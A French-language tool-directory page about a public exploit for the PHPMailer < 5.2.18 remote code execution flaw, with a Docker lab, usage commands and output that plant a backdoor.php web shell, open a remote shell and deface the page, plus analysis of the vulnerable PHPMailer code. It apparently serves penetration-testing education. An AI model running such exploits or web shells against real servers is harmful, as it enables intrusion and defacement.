Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
exploit-CVE-2016-10034 — PHPMailer < 5.2.18 Exécution de code à distance | Kitploit
Outils/GitHubGitHub/heikipikker/exploit-cve-2016-10034
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubheikipikker/exploit-cve-2016-10034

exploit-CVE-2016-10034

PHPMailer < 5.2.18 Exécution de code à distance

Voir le dépôt
11il y a 9 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PHPMailer < 5.2.18 Exécution de code à distance

Docker Pulls License

PHPMailer est la classe de transport la plus populaire au monde, avec environ 9 millions d'utilisateurs dans le monde. Les téléchargements se poursuivent à un rythme important chaque jour. Utilisé par de nombreux projets open-source : WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! et bien d'autres

PHPMailer avant sa version 5.2.18 souffre d'une vulnérabilité pouvant mener à une exécution de code à distance (RCE). La fonction mailSend dans le transport isMail de PHPMailer, lorsque la propriété Sender n'est pas définie, pourrait permettre à des attaquants distants de passer des paramètres supplémentaires à la commande mail et par conséquent exécuter du code arbitraire via un " (guillemet double précédé d'un antislash) dans une adresse From spécialement conçue.

Environnement vulnérable

Pour configurer un environnement vulnérable pour votre test, vous aurez besoin de Docker installé, et exécutez simplement la commande suivante :

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

Et cela lancera une application web vulnérable sur votre hôte sur le port 8080

vulnérable

Exploitation

Pour exploiter cette cible, exécutez simplement :

./exploit host:port

Si vous utilisez cette image vulnérable, vous pouvez simplement exécuter :

./exploit localhost:8080

Après l'exploitation, un fichier appelé backdoor.php sera stocké dans le dossier racine du répertoire web. Et l'exploit vous donnera un shell où vous pourrez envoyer des commandes à la backdoor :

./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell> 

Et voilà, vous avez votre shell. Il existe un autre exploit, qui illustre un autre cas d'utilisation.

./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting

Et si vous visitez la page à nouveau, vous verrez ceci :

défiguré

Code vulnérable

Avant ce commit dans class.phpmailer.php, dans un certain scénario, il n'y a pas de filtre pour les caractères spéciaux de l'adresse email de l'expéditeur. Cette faille peut mener à une exécution de code à distance, via la fonction mail ici.

En analysant le code, il n'y a pas de filtre dans la fonction mailSend()

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender est directement ajouté à la variable $params, qui était filtrée dans la fonction validateAddress(), mais comme elle utilise la spécification RFC 3696, elle autorise certains caractères qui vont causer des problèmes. Dans ce cas, les guillemets :

En plus d'utiliser les guillemets avec le caractère antislash, les guillemets doubles conventionnels peuvent être utilisés pour entourer des chaînes. Par exemple

"Abc@def"@example.com

"Fred Bloggs"@example.com

sont des formes alternatives des deux premiers exemples ci-dessus. Ces formes entre guillemets sont rarement recommandées, et sont inhabituelles dans la pratique, mais, comme discuté ci-dessus, doivent être supportées par les applications qui traitent des adresses email. En particulier, les formes entre guillemets apparaissent souvent dans le contexte d'adresses associées à des transitions depuis d'autres systèmes et contextes ; ces exigences de transition existent toujours et, étant donné qu'un système qui accepte une adresse email fournie par l'utilisateur ne peut pas "savoir" si cette adresse est associée à un système existant, les formes d'adresse doivent être acceptées et transmises dans l'environnement email.

Vous pouvez lire l'intégralité de la RFC ici si vous le souhaitez. Mais aussi, si la version de PHP est inférieure à 5.2.0, et qu'aucun PCRE n'est installé, la variable $patternselect dans validateAddress() sera définie sur noregex. Cela fera que l'entrée pourra éviter toute vérification regex. Elle ne passera qu'à travers une petite vérification :

            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

Ensuite, le flux de code va à la fonction mailPassthru(), qui, si elle s'exécute en safe_mode, ne sera pas vulnérable à cette faille, comme le code suivant l'indique

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

Mais, s'il n'est pas exécuté en safe_mode, alors notre paramètre spécial sera passé à mail() et, si nous avons de la chance, il fera en sorte que notre fichier contenant ce que nous voulons soit écrit là où nous choisissons de l'écrire.

Notes sur l'exploitation de la fonction PHP mail()

L'exploitation de la fonction PHP mail() n'est pas nouvelle, mais elle est toujours vivante et les gens l'utilisent encore. Pour expliquer comment cela fonctionne, regardons comment la fonction mail() est définie :

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

Il existe plusieurs méthodes d'exploitation pour différents résultats, nous allons nous concentrer sur l'exploitation du 5ème paramètre pour obtenir une exécution de code à distance (RCE). Le paramètre $additional_parameters est utilisé pour passer des drapeaux supplémentaires en tant qu'options de ligne de commande au programme configuré pour envoyer l'email. Cette configuration est définie par la variable sendmail_path.

Une note de sécurité de la documentation officielle de PHP :

Télécharger l’outil